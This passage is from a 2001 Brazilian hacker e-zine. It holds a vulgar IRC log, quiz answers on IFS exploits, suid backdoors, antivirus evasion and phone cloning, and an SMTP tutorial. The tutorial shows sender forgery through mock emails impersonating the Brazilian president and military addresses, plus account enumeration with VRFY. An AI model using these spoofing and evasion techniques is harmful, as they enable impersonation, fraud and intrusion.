Fatal 3rror(0005): Brain not found! ________________________ _______________________________ / __________ _______ / /_____ _____by_Cheat_Struck__/ / /__ ___ / /___ / / ___/ /___ ___ __ ___ / ___// o \ / // o \ / / /__ // o \ / o \ / \ / o \ / / / _ // // _ // /___ _____/ // _ // _ // O // _ / /__/ / //_// // //_//_____/ /_______// / \_\ / \_\\__// / \_\ )/ )/ )/ )/ )/ )/ ' ' ' www.fatal3rror.com ' ' ' Participe da nossa promocao! Faca o logo novo da Fatal 3rror e ganhe um email gratis em fatal3rror.com!!! Leia mais la no fim dessa edicao... Fatal 3rror_________________05 Date________________________julho/2001 Founder_____________________Cheat Struck Email_______________________cheat@struck.8m.com Page________________________www.fatal3rror.com _xXXXP^'' ``^YXXXx_ _xXXXXP~ 00 - TopicZ ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ .od[ 00 ]bo. TopicZ / Cheat Struck .od[ 01 ]bo. Introducao / Cheat Struck .od[ 02 ]bo. TipZ / Cheat Struck .od[ 03 ]bo. Hack Test - Resultado / Cheat Struck .od[ 04 ]bo. Protocolos Parte II - smtp / pcHazard .od[ 05 ]bo. Bits / Cheat Struck .od[ 06 ]bo. Anarchy - Bomba caseira / Carti .od[ 07 ]bo. Alocacao na Heap / Cheat Struck .od[ 08 ]bo. iBack - ICMP BACKDOOR / Cheat Struck .od[ 09 ]bo. Manual Para A Telefonia Publica / onlooker .od[ 10 ]bo. Escrevendo Exploits de Buffer Overflow com Perl (Writing Buffer Overflow Exploits with Perl) / dublado por BEHAEL .od[ 11 ]bo. Format Strings / Cheat Struck .od[ 12 ]bo. Ponteiros / Cheat Struck .od[ 13 ]bo. Smashing the imagination for fun and profit (Danos) / pcHazard .od[ 14 ]bo. T3kn33ks / Cheat Struck .od[ 15 ]bo. Uncolor Box / Cheat Struck .od[ 16 ]bo. Sup3r l33t Pr0gz / Cheat Struck .od[ 17 ]bo. Emails / Cheat Struck .od[ 18 ]bo. DuEnde / Cheat Struck _xXXXP^'' ``^YXXXx_ _xXXXXP~ 01 - Introducao ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Deixa eu explicar uma coisa. Assim como o F representa 15 mesmo sendo o decimo-sexto numero hexadecimal e 9 eh o decimo numero decimal, 05 eh a sexta edicao da Fatal 3rror. Puxa! como passa rapido heim... Ainda ontem eu tava lancando a 00 e ja estamos na 6a. Rlz! Uma coisa que passou desapercebida na edicao passada eh que a Fatal 3rror estava comemorando 1 ano de zine. Nao faz mau, comemoremos nesta edicao com alguns meses de atrazo mas nao da nada. Entao podem enviar os presentes para meu email. =) Outra coisa: Eu estou sendo radicalmente plagiado por muita gente. Ja vi textos meus desde a epoca da TDK serem copiados, mudaram algumas palavras e o nome do autor. Outros textos que encontrei foram nitidamente moldados nos meus e em outros textos publicados na F3. Fora os programas rippados que achei por ae. Bem... eu fikei lisongeado com isso. E' bom saber que estao lendo o que eu escrevo, ja que meu email nao eh tao lotado com cartas de fas enlouquecidos e desvairados. Eu percebi que a F3 ja esta bastante divulgada e ja atingiu um publico grande. Embora a zine esteje sendo escrita para um publico mais avancado, mtos rookies estao lendo-a tb e aprendendo coisas novas. Eu nao me importo em ser plagiado pq faz um tempo atras que parei totalmente de me importar com essas coisas banais, mas e' claro que eu preferiria ver meus textos originais sendo publicados respeitando tb a autoria. Mas fazer o que neh? O bom e' saber que bastante gente esta lendo a Fatal 3rror. Issu motiva a continuar escrevendo. =) Ah!! Se for publicar algo que eu escrevi me avise para eu pelo menos ter um controle de onde eu estou aparecendo. Isso pq esses dias veio gente me falando sobre os textos que escrevi para tal zine que eu nem conhecia. Qdo fui ver era uma materia da f3 q foi colada com os devidos creditos, entao apenas me avise antes. _xXXXP^'' ``^YXXXx_ _xXXXXP~ 02 - TiPZ ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Autores dessa edicao: --------------------- Cheat Struck pcHazard Carti onlooker BEHAEL Onde baixar a Fatal 3rror??? ---------------------------- (olhem como aumentou a lista... vou colocar apenas alguns dos ends que eu vi ela por ae...) _Distribuidores Oficiais_ http://www.fatal3rror.com http://struck.8m.com/f3 _Outros_ http://www.deathknights.com http://www.txt.org http://www.onlooker.hpg.com.br http://4x10m4.vila.bol.com.br ftp://ftp.netconta.com.br/pub/zines/fatal3rror/ (Se vc tb distriubui a f3, manda um email avisando q publicidade nunca eh demais =)) Extraindo a f3 e seus programas: -------------------------------- [root@localhost ~]# tar -zxvf f3-05.tgz f3/ f3/f3-05.txt f3/extract.c [root@localhost ~]# cd f3 [root@localhost f3]# gcc extract.c -o extract [root@localhost f3]# ./extract f3-05.txt - Extracting hacktest/respostas.c - Extracting protocolos/SMTP/smail.pl - Extracting protocolos/SMTP/b64.txt - Extracting protocolos/SMTP/vrfy.pl - Extracting heap/test.c - Extracting iback/ibclient.c - Extracting iback/iback.c - Extracting PerlXploit/vuln.c - Extracting PerlXploit/makeshellcode.c - Extracting format/bug.c - Extracting ponteiros/teste1.c - Extracting ponteiros/teste2.c - Extracting Superprogs/analize.pl [root@localhost f3]# ->Search for "heheh" in #r00t logs ->Matching records: 5038284013 ->Fatal 3rror: Stack Overflow!!! ->Select only the idiot logs... hehehe <^^VENTO^^> putz <^^VENTO^^> tem coisa melhor que cagar e ficar olhando pra possiveis furos de cgi`s ? hahaha tem ^^VENTO^^ isso tudo e achar os furos <^^VENTO^^> hahaha de q furo 6 tao falando... fikei confuso <^^VENTO^^> ou levar um notebook pro banheiro... colocar pra sniffar uma eth e ficar olhando oq ele pega... ;~ <^^VENTO^^> caracas =) HAHAHHAHA <^^VENTO^^> eu ate arrepio <^^VENTO^^> ;~ hehehe <^^VENTO^^> eu ainda vou ter um notebook <^^VENTO^^> soh pra levar ele pro banheiro ;~ hehehe hahha e bater bronha? <^^VENTO^^> cagar olhando foto da carla perez <^^VENTO^^> hehe <^^VENTO^^> isso tb o making of <^^VENTO^^> carla perez eh porca hahaha <^^VENTO^^> sou mais as amadoras <^^VENTO^^> heheh queria eu uma porca dessa na minha cama hahaha eu tb =) eu bato bronha constantemente hehe <^^VENTO^^> eu tb <^^VENTO^^> as vezes nem estou excitado <^^VENTO^^> heheh hj bati umas 3 <^^VENTO^^> mas bato soh por bater <^^VENTO^^> hehe pra compensar a semana stressante <^^VENTO^^> essa noite eu sonhei que tava mijando e acabei mijando na cama <^^VENTO^^> eta merda putz <^^VENTO^^> to fedendo mijo ate agora jah aconteceu comigo <^^VENTO^^> hehe HAHAH cara eu mijei na cama ateh os 11 anos =~ q vergonha hehe <^^VENTO^^> heheheh hehehehe ano podia dormir na casa dos colegas sux tipo.. <^^VENTO^^> pior que eu mijei tao gostoso hehe <^^VENTO^^> hehe meu priminho aki... tem 15 anos e inda mija na cama <^^VENTO^^> acho que foi a melhor mijada que eu ja dei <^^VENTO^^> hehe HAHAHHA struck: fiquei feliz =) soh tem uma coisa melhor q mijar na cama.... gozar na cama cagar na cama hahaha emquanto dorme cara <^^VENTO^^> gozar na cama e passar a porra debaixo do colchao <^^VENTO^^> hehe eu antes gozava na cama <^^VENTO^^> um dia eu fui peidar e caguei ;~ pq nao batia punheta <^^VENTO^^> heheh poco foda eu ja gozei umas 3 vezes de sonhar q tava cumendo uma mina HAHHAHA <^^VENTO^^> struck HAHAHAHAHAHA <^^VENTO^^> cara essa minha vida eh filha da puta <^^VENTO^^> eu acordei 4 horas... todo mijado foi as melhores masturbacoes da minha vida <^^VENTO^^> e ate agora nao sai do quarto pq nao fiz forca alguma HAHAHAH <^^VENTO^^> nem troquei de ropa <^^VENTO^^> hehe _xXXXP^'' ``^YXXXx_ _xXXXXP~ 03 - Hack Test ~YXXXXx_ _xXXXXXX( Resultado )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ O Hack Test publicado edicao passada serviu para demonstrar mais do que simples medias de quem se propos a responde-lo. Com ele eu pude verificar como anda a capacidade dos leitores da Fatal 3rror e ainda ver onde estes tem maiores dificuldades. Esse papo parece de professor de ingles querendo ver o que seus alunos sabem atraves de uma prova. =7 Mas eu acabei fazendo uma pesquiza em cima dos resultados e estes apareceram nesta materia junto com as respostas explicadas para cada questao. A media dos resultados do teste fikou em 10 sendo que poucos conse- guiram atingir uma pontuacao para serem considerados hackers e ninguem provou ser eleet (ou seja ninguem fez mais de 16 pontos). Lembra-se de como funcionava a pontuacao?? 00a03 - Lamah 04a06 - Begginer 07a12 - Wannabe 13a16 - Hacker 17a19 - Eleet 20 - Guru Nao sei se esta pontuacao esta adequada pois o teste acabou ficando mais dificil do que eu pensei que fikaria, porem em poucas questoes era preciso um conhecimento mais aprofundado na area para responde-la. Estas serao citadas aki. Em outras palavras: o teste estava dificil mas nao impossivel. Outro detalhe a ser descutido: As perguntas foram bem variadas e por tanto considerou a capacidade do "aluno" generalizando e nao em apenas uma area. Caso voce tenha errado alguma pergunta que esta marcada com nivel Facil ou uma que vc estava crente ter acertado, seria bom estudar mais esta area. Agora vamos as respostas: Pergunta 1. Assunto: Linux Nivel: Facil Resposta: C Media de acertos: 80% Em qual situacao o linux precisa ser reiniciado para que as alteracoes feitas sofram efeito?? A resposta mais correta seria na recompilacao do kernel enbora algumas distribuicoes do linux seja preciso reiniciar ao mudar a resolucao de video. Mas ao recompilar o kernel SEMPRE e' preciso reinicia-lo. Pergunta 2. Assunto: Linux Nivel: Facil Resposta: C Media de acertos: 60% Qual FS tem suporte Read-Only ate' o linux2.4.0?? NTFS usado para montar FS de winNT's ainda nao possui suporte para escrita. =7 Pergunta 3. Assunto: Linux Nivel: Facil Resposta: A Media de acertos: 90% Qual a PRINCIPAL funcao do kernel? Enbora todas as opcoes sejam funcoes exercidas pelo kernel, a princi- pal eh levar informacoes virtuais aos perifericos do computador onde ele estiver rodando. Detalhe: esta e' a principal funcao de qualquer OS. Pergunta 4. Assunto: Linux Nivel: Facil Resposta: A Media de acertos: 90% Que nome recebe a operacao por linhas de comandos?? Console. Moleza, foi dada de presente pra ninguem zerar a prova. =) Pergunta 5. Assunto: Programacao Nivel: Facil Resposta: B Media de acertos: 90% O que e' PHP??? PHP = Pre' Processador de Hypertextos. Pergunta 6. Assunto: Linux Nivel: Medio Resposta: B Media de acertos: 50% Como proceder para apagar arquivos que nao permitem o comando ser completado?? No linux, alem do modo dos arquivos (Write, Read, eXecutable) tambem e' possivel setar atributos para os arquivos da ext2. Dentre eles o modo +i impede que os arquivos sejam apagados. Para retirar este atributo e' usado o comando chattr -i . Pergunta 7. Assunto: Linux Nivel: Medio Resposta: C Media de acertos: 80% Pq winmodens nao rodam em linux? Esta pergunta poderia ser uma pergunta de nivel medio se o assunto nao tivesse sido amplamente discutido em varios canais e listas de discussoes. Winmodens nao possuem um periferico chamado DSP (Processador de Sinais Digitais) e a funcao deste e' passada para drivers compilados ate' entao somente para windows. Algumas organizacoes ja estao criando modules para estes modens em plataformas linux. Pergunta 8. Assunto: Linux Nivel: Medio Resposta: B Media de acertos: 70% Qual o formato de executaveis no linux? ELF (Executable and Linkable Format) nao e' somente usado em linux como em muitos outros sistemas baseados no Unix. Pergunta 9. Assunto: Hacking Nivel: Dificil Resposta: B Media de acertos: 40% Qual endereco refere-se a pilha? Isto foi visto diversas vezes em tutoriais de buffer overflow e mesmo assim muitos nao se lembraram. Enderecos que comecao por 0xbfff tem referencia a pilha. Pergunta 10. Assunto: Programacao Nivel: Medio Resposta: A Media de acertos: 30% Qual o CR/LF??? O Padrao ASCII define: CR = 0x13 LF = 0x0a Pergunta 11. Assunto: Hacking Nivel: Medio Resposta: C Media de acertos: 50% Como exploitar uma falha de IFS??? O pessoal mais da antiga nao teve dificuldade de responder, ja que esta falha foi muito explorada a um tempo atras. IFS era uma variavel do linux que definia o caractere a ser usado para representar um espaco. Ao alterar esta variavel para "/", qdo o programa tentava executar por exemplo um "/bin/ls" na verdade estava fazendo um " bin ls". Assim mudando o PATH era possivel fazer com que o programa executasse uma shell ou backdoor. Pergunta 12. Assunto: Hacking Nivel: Facil Resposta: C Media de acertos: 10% Suid Shell Backdoors lhe darao que tipo de ID = 0??? Este foi um dos pega-ratao do Teste. =) A maioria marcou "a) UID", porem Shells marcadas com Setuid sao exe- cutadas com o UID normal do usuario q a executou e com EUID do usuario que as marcou (no caso r00t = 0). Pergunta 13. Assunto: Hacking Nivel: Dificil Resposta: A Media de acertos: 10% Qual tekneek costuma ser usada para que anti-virus nao reconhecam o Virus detectado? Eu lembro da epoca que qdo falavam em hacker pensavam em virus de computador. Parece que isso saiu de moda. Anti-virus possuem trechos de virus conhecidos para que sejam reco- nhecidos ao detectados. Usando NOPs entre as funcoes ASM o antivirus nao consegue o mesmo resultado pois o trecho de seu banco de dados sera diferente do usado no virus. Pergunta 14. Assunto: Hacking Nivel: Dificil Resposta: C Media de acertos: 20% Para onde um programa exploitado por buffer overflow deve ser redirecionado? Tanto pode ser para a propria pilha (onde estara o shellcode salvo no buffer) quanto para a biblioteca padrao de funcoes em C (como visto no projeto Omega (F3-00.txt)). Pergunta 15. Assunto: Phreaking Nivel: Dificil Resposta: B Media de acertos: 20% O que deve ser reprogramado para clonar um celular?? O MIN nada mais eh do que o numero do celular composto pelo codigo de area + o numero. Este pode ser alterado pelo proprio teclado do Cell. ESN eh o Numero de serie do Cell que soh pode ser alterado atravez de um aparelho especifico. Nota: No Teste foi escrito ESM mas ta valendo pq deu para entender. Pergunta 16. Assunto: Programacao Nivel: Dificil Respostas: A e C Media de acertos: 0% Qual dos exemplos mostra o bit de paridade corretamente??? Havia 2 respostas certas (Foi erro meu). Entao a questao foi anulada. O bit de paridade eh explicado nesta edicao... Pergunta 17. Assunto: Programacao Nivel: Facil Resposta: B Media de acertos: 40% Qual dos exemplos mostra respectivamente uma linguagem de alto e baixo nivel??? Uma linguagem de baixo nivel seria aquela em que o programador pre- cisa conhecer o funcionamento da maquina para programar. Exemplos disso seriam linguagens mais antigas como ASM e Algol. Linguagens de Alto nivel sao exatamente ao contrario. Sao linguagens com funcoes simples em que qquer um pode escrever seus programas. Ex: Basic, Pascal, Fortran. C eh considerada uma linguagem de Medio nivel pois usa funcoes de baixo e alto nivel. Pergunta 18. Assunto: Programacao Nivel: Medio Resposta: C Media de acertos: 30% Qual a forma correta de se chamar uma estrutura marcada como ponteiro? Esta e' umas das principais dificuldades para quem esta aprendendo a programar e tb pra quem ja programa a tempos em C. Isto pq muitos nao lembram que para chamar ponteiros de estruturas se usa a Seta "->" ao invez do ponto ".". A forma correta entao seria "sux->fuck;". Pergunta 19. Assunto: Programacao Nivel: Medio Resposta: B Media de acertos: 40% De quantos bytes sao compostos os vetores de interrupcao?? Bom... poucos perceberam mas para nao deixar esta pergunta com nivel Impossivel (Ja que uma minoria se dedica a aprender ASM) a resposta era dada no inicio da pergunta: "Os primeiros 1024 bytes da memoria principal contem 256 enderecos...". Por um raciocinio matematico voce descobriria que 1024 / 4 = 256 . Pergunta 20. Assunto: Internet Nivel: Medio Resposta: A Media de acertos: 20% Qual a estrutura da internet?? Voltando as aulas de introducao a internet: A internet esta em forma de BACKBONE (Espinha dorsal) sendo que os primeiros computadores sao os nacionais conectados a estaduais, estes a regionais e assim por diante. Encerrado o teste vamos a mais dados retirados desta pesquiza: Como vimos acima os Assuntos de cada pergunta variaram bastante entre: Linux (7 perguntas) Programacao (6 perguntas) Hacking (5 perguntas) Phreaking (1 pergunta) Internet (1 pergunta) --------------------------- Total: 20 perguntas Vamos ver a media de acertos do teste inteiro: Assunto Total Faceis Medias Dificeis --------------------------------------------------------------------- Linux: 73% (7) 80% (4) 66% (3) --- (0) Programacao: 39% (6) 65% (2) 33% (3) 20% (1) Hacking: 28% (5) 10% (1) 50% (1) 23% (3) Phreaking: 20% (1) --- (0) --- (0) 20% (1) Internet: 20% (1) --- (0) 20% (1) --- (0) --------------------------------------------------------------------- Total (%): 36% (20) 52% (7) 42% (8) 21% (5) Acertos: 7.2 3.6 3.4 1.0 Na tabela acima tiramos diversas conclusoes. Vejam que enbora nao tenha sido feita nenhuma pergunta considerada dificil sobre Linux a media total ficou bastante boa (73%). Porem no restante as coisas mudam. No hacking a media poderia ser um pouco mais alta se a maioria das perguntas dificeis nao tivessem sido feitas sobre este Assunto. Com esta tabela tambem concluimos de que o teste foi mau feito pois a versatilidade entre dificuldade e assuntos nao foi a esperada. Assim seu resultado eh inseguro. Mas valeu para testar os seus conhecimentos. Use o programa a seguir para fazer a tabela acima em seu teste individual e assim verificar onde vc teve maior dificuldade... <++> hacktest/respostas.c #include main(){ char r[20][2]; int c; int linux[3]={0,0,0}, prog[3]={0,0,0}, hack[3]={0,0,0}, phr=0, inter=0; //medias for(c=0;c<20;c++) { printf("%d Resposta: ",c+1); scanf("%1s",r[c]); } if(r[0][0] == 'c') linux[0]++; if(r[1][0] == 'c') linux[0]++; if(r[2][0] == 'a') linux[0]++; if(r[3][0] == 'a') linux[0]++; if(r[4][0] == 'b') prog[0]++; if(r[5][0] == 'b') linux[1]++; if(r[6][0] == 'c') linux[1]++; if(r[7][0] == 'b') linux[1]++; if(r[8][0] == 'b') hack[2]++; if(r[9][0] == 'a') prog[1]++; if(r[10][0] == 'c') hack[1]++; if(r[11][0] == 'c') hack[0]++; if(r[12][0] == 'a') hack[2]++; if(r[13][0] == 'c') hack[2]++; if(r[14][0] == 'b') phr++; if(r[15][0] == 'c') prog[2]++; if(r[16][0] == 'b') prog[0]++; if(r[17][0] == 'c') prog[1]++; if(r[18][0] == 'b') prog[1]++; if(r[19][0] == 'a') inter++; printf("Assunto Total Faceis Medias Dificeis\n"); printf("---------------------------------------------------------------------\n"); printf("Linux: %02d%% (7) %02d%% (4) %02d%% (3) --- (0)\n", (linux[0] + linux[1])*100/7, linux[0]*100/4, linux[1]*100/3); printf("Programacao: %02d%% (6) %02d%% (2) %02d%% (3) %02d%% (1)\n", (prog[0] + prog[1] + prog[2])*100/6, prog[0]*100/2, prog[1]*100/3, prog[2]*100); printf("Hacking: %02d%% (5) %02d%% (1) %02d%% (1) %02d%% (3)\n", (hack[0] + hack[1] + hack[2])*100/5, hack[0]*100, hack[1]*100, hack[2]*100/3); printf("Phreaking: %02d%% (1) --- (0) --- (0) %02d%% (1)\n", phr*100, phr*100); printf("Internet: %02d%% (1) --- (0) %02d%% (1) --- (0)\n", inter*100, inter*100); printf("---------------------------------------------------------------------\n"); printf("Total (%%): %02d%% (20) %02d%% (7) %02d%% (8) %02d%% (5)\n", (linux[0] +linux [1] + prog[0] + prog[1] + prog[2] + hack[0] + hack[1] + hack[2] +phr+inter)*100/20, (linux[0] + prog[0] + hack[0])*100/7, (linux[1] + prog[1] + hack[1]+inter)*100/8, (prog[2] + hack[2] + phr)*100/5); printf("Acertos: %02d %02d %02d %02d\n", (linux[0] +linux [1] + prog[0] + prog[1] + prog[2] + hack[0] + hack[1] + hack[2] +phr+inter), (linux[0] + prog[0] + hack[0]), (linux[1] + prog[1] + hack[1]+inter), (prog[2] + hack[2] + phr)); } <--> _xXXXP^'' ``^YXXXx_ _xXXXXP~ 04 - Protocolos Parte II - smtp ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ pcHazard _dXXXXP~ ~YXXXbx.. ..xdXXXP~ ------------------------------- | Simple Mail Transfer Protocol | ------------------------------- Introducao O SMTP, ou Simple Mail Transfer Protocol, foi criado com a intencao de permitir que usuarios possam enviar mensagens de e-mail atravez de redes locais ou remotas de forma mais facil e rapida. O RFC821 foi criado em Agosto de 1982, ou seja, tinha gente que usava SMTP pra mandar e-mail antes mesmo deu nascer... Basicamente, a comunicacao usando o protocolo SMTP eh feita entre duas partes: o servidor e o cliente usando o protocolo TCP/IP e a porta padrao do servidor SMTP eh a 25. ______ _____ ___________ | | | | ________ | || |--------------------------| || | | || | Comunicacao feita | || | | LINUX || | usando TCP | || | |___________||______| porta 25 |_____||________| Servidor Linux Voce usando com Sendmail Pine, Kmail, Outlook e etc. Funcionamento O servidor, ao ser ativado, aguarda conexoes do cliente SMTP na porta 25. Ao se estabelecer a conexao, o servidor envia uma mensagem de boas-vidas. Ex: 220 Simple Mail Transfer Server Ready Em toda a transacao, o cliente envia pedidos terminados por um , quer dizer, um terminador de linha. CRLF significa Carriage Return Line Feed, ou retorno de carro e alimentacao de linha. Ele pode variar, mas qualquer servidor ira entender o conjunto de caracteres ascii 13 e 10 como sendo um . Depois de cada pedido do cliente, o servidor envia uma resposta. Ao contrario do POP3, no SMTP existem muitas respostas diferentes do servidor, diferenciadas por um codigo numerico de 3 letras. Na maioria dos servidores SMTP, nao eh necessario se autenticar para enviar e-mails. -------------------- | Enviando um e-mail | -------------------- Logo apos o cliente conectar no servidor SMTP, o servidor enviara um banner contendo a versao do servidor. Deve-se responder com o comando HELO, que te identificara para o servidor. Segue abaixo a lista de comandos do SMTP necessarios para enviar uma mensagem de e-mail. Ao enviar o comando, nao faz diferenca se estah maiusculo, minusculo ou mixto. HELO Identifica o cliente para o servidor. O parametro deve conter o hostname do cliente. Geralmente pode-se usar "localhost" como argumento para esse comando. EXEMPLO: 220 genetic.com.br Simple Mail Transfer Service Ready. HELO localhost 220 HELO genetic.com.br MAIL FROM: Diz ao servidor que o endereco de e-mail do emissor do e-mail eh . Pode-se usar qualquer endereco como argumento para esse comando, permitindo enviar e-mails com nome de outra pessoa ateh. Alguns servidores verificam que a origem existe mesmo, mas isso varia de servidor para servidor. EXEMPLO: 220 genetic.com.br Simple Mail Transfer Service Ready. HELO localhost 220 HELO genetic.com.br MAIL FROM: 250 fhc@palaciodoplanalto.com.br... Sender OK RCPT TO: Especifica um ou mais destinatarios para a mensagem de e-mail. Para especificar varios destinos para a mensagem, basta enviar varios comandos RCPT TO usando os enderecos de destino como argumento em cada um dos comandos. EXEMPLO: 220 genetic.com.br Simple Mail Transfer Service Ready. HELO localhost 220 HELO genetic.com.br MAIL FROM: 250 fhc@palaciodoplanalto.com.br... Sender OK RCPT TO: 250 central@exercito.mil.br... Recipient OK RCPT TO: 250 central@marinha.mil.br... Recipient OK RCPT TO: 250 central@fab.mil.br... Recipient OK DATA 250 Enter the data and finish with . itself From: fhc@palaciodoplanalto.com.br Subject: Envio de Tropas A todos os representantes das forcas aereas, maritimas e militares da Republica Federativa do Brasil Solicito `a V.Sra. o envio de tropas armadas para toda a America Latina para dominah-la e nos tornarmos o unico pais que ocupa todo um continente do Mundo. Caso torne-se necessario, possui minha autorizacao para usar de maxima forca contra os inimigos desde que nao haja nenhum risco de vida para as tropas alviverdes. Exelmo. Presidente Fernando Henrique Cardoso . 250 Mail accepted for delivery QUIT 250 Closing transmittion channel. Hehehe acho que me empolguei.... :-) DATA Diz ao servidor SMTP que a mensagem (cabecalho+corpo) serah enviada para o(s) destino(s). Deve ser dado depois do conjunto HELO+MAIL FROM+RCPT TO EXEMPLO: 220 genetic.com.br Simple Mail Transfer Service Ready. HELO localhost 220 HELO genetic.com.br MAIL FROM: 250 cybercrash@ig.com.br... Sender OK RCPT TO: 250 cszine@xoommail.com... Recipient OK DATA 250 Enter the data and finish with . itself From: pcHazard Subject: Jah dancou com um demonio sob a luz do luar? Ha mais entre o ceu e a terra do que em toda sabedoria... . 250 Mail accepted for delivery QUIT 250 Closing transmittion channel. QUIT Finaliza a sessao SMTP. EXEMPLO: 220 xoommail.com Simple Mail Transfer Service Ready. HELO localhost 220 HELO xoommail.com MAIL FROM: 250 cszine@xoommail.com... Sender OK RCPT TO: 250 kevin@freekevin.com... Recipient OK DATA 250 Enter the data and finish with . itself From: CheatStruck Subject: Me ensina a mandar e-mail bomba I want to send a mail bomb to my friends. phear me ! . 250 Mail accepted for delivery QUIT 250 Closing transmittion channel. VRFY Serve pra ter certeza que existe uma conta na maquina do servidor SMTP. Tipo, vc dah um "VRFY " e ele diz se essa conta existe. Util pra verificar quais logins existem em um provedor ... (fear me now!) EXEMPLO: 220 genetic.com.br Simple Mail Transfer Service Ready. HELO localhost 220 HELO genetic.com.br VRFY maria 250 Maria Padilha Amaral VRFY joaozinho 550 Not found QUIT 250 Closing transmittion channel. Hehehe, acho que todo provedor tem uma Maria, um Joao, um Pedro... RSET Reinicia a sessao SMTP. Limpa todos os remetentes e destinatarios para a mensagem. O servidor retorna uma mensagem de OK (250). 220 genetic.com.br Simple Mail Transfer Service Ready. HELO localhost 220 HELO genetic.com.br MAIL FROM: 250 cybercrash@ig.com.br... Sender OK RSET 250 OK MAIL FROM: 250 topgun@usaf.mil... Sender OK RCPT TO: 250 comando@fab.mil.br... Recipient OK DATA 250 Enter the data and finish with . itself To: comando@fab.mil.br From: topgun@usaf.mil Subject: Request Hi, please send me my F117 that I forget in your country... At last days, I don't know where is my head... I forget all things that haves nuclear bombs... . 250 Mail accepted for delivery QUIT 250 Closing transmittion channel. NOOP Nao faz nada, apenas gera usa resposta positiva. Esse comando eh geralmente mais usado em Brasilia :-) EXEMPLO: 220 genetic.com.br Simple Mail Transfer Service Ready. HELO localhost 220 HELO genetic.com.br NOOP 250 OK QUIT 250 Closing transmittion channel. HELP [comando] Faz o servidor enviar uma lista dos comandos suportados por ele e para que servem. Caso [comando] seja especificado, fala sobre o comando [comando]. EXEMPLO: 220 pchazard.net ESMTP Sendmail 8.10.1/8.10.1; Tue, 22 May 2001 10:14:19 -0300 help 214-2.0.0 This is sendmail version 8.10.1 214-2.0.0 Topics: 214-2.0.0 HELO EHLO MAIL RCPT DATA 214-2.0.0 RSET NOOP QUIT HELP VRFY 214-2.0.0 EXPN VERB ETRN DSN AUTH 214-2.0.0 For more info use "HELP ". 214-2.0.0 To report bugs in the implementation send email to 214-2.0.0 sendmail-bugs@sendmail.org. 214-2.0.0 For local information send email to Postmaster at your site. 214 2.0.0 End of HELP info help mail 214-2.0.0 MAIL FROM: [ ] 214-2.0.0 Specifies the sender. Parameters are ESMTP extensions. 214-2.0.0 See "HELP DSN" for details. 214 2.0.0 End of HELP info ----------------- | Sessoes SMTP de | | Exemplo | ----------------- Enviando um e-mail: 220 genetic.com.br Simple Mail Transfer Service Ready. HELO localhost 220 HELO genetic.com.br MAIL FROM: 250 daniel_vs@ig.com.br... Sender OK RCPT TO: 250 monica_dutra@genetic.com.br... Recipient OK DATA 250 Enter the data and finish with . itself From: pcHazard Subject: Eu te amo ! Monica, eu te amo ! Sei que as vezes eu nao expresso bem meus sentimentos para com as pessoas a minha volta, especialmente as pessoas que eu amo, e eh por isso que te digo agora que eu te amo, e todos os dias eu penso em voce e em como seria bom se eu pudesse acordar todo dia com a certeza de ter voce sempre ao meu lado... Daniel . 250 Mail accepted for delivery QUIT 250 Closing transmittion channel. ------------------ | Clientes SMTP de | | Exemplo | ------------------ Send Meiou v1.0 Envia e-mails com arquivos anexados <++> protocolos/SMTP/smail.pl #!/usr/bin/perl -w use IO::Socket; my $cinza_escuro = "\033[1;30m"; my $vermelho_claro = "\033[1;31m"; my $verde_claro = "\033[1;32m"; my $amarelo = "\033[1;33m"; my $azul_claro = "\033[1;34m"; my $rosa_claro = "\033[1;35m"; my $azul_claro2 = "\033[1;36m"; my $branco_claro = "\033[1;37m"; my $vermelho_escuro = "\033[0;31m"; my $verde_escuro = "\033[0;32m"; my $laranja = "\033[0;33m"; my $azul_escuro = "\033[0;34m"; my $rosa_escuro = "\033[0;35m"; my $azul_marinho = "\033[0;36m"; my $cinza_claro = "\033[0;37m"; my $normal = "\33[0;0m"; #my $clear = "\033[0;0H\033[J"; my $clear = ""; my $barra = "=" x 80; $SIG{INT} = sub { print STDERR "\n\n2001 by pcHazard \n\n$normal"; exit -1; }; print STDERR << "EOT" $normal$clear$verde_claro$barra$verde_escuro SendMeiou v1.0 $verde_claro$barra$normal EOT ; my $server = ask("Servidor SMTP $azul_claro\[127.0.0.1]: "); $server = "127.0.0.1" if ($server eq ""); my $mail_from = ask(" Origem $azul_claro\[cybercrash\@ig.com.br]: "); $mail_from = "cybercrash\@ig.com.br" if ($mail_from eq ""); my $from = ask(" Nome $azul_claro\[pcHazard]: "); $from = "pcHazard" if ($from eq ""); my $rcpt_to = ask(" Destino: "); my $subject = ask(" Assunto: "); my $corpo = ""; while (!-e $corpo) { $corpo = ask(" Corpo: "); } my @anexos; my $numanexos; my $anexo = ""; while (1) { $numanexos = $#anexos; $numanexos++; $anexo = 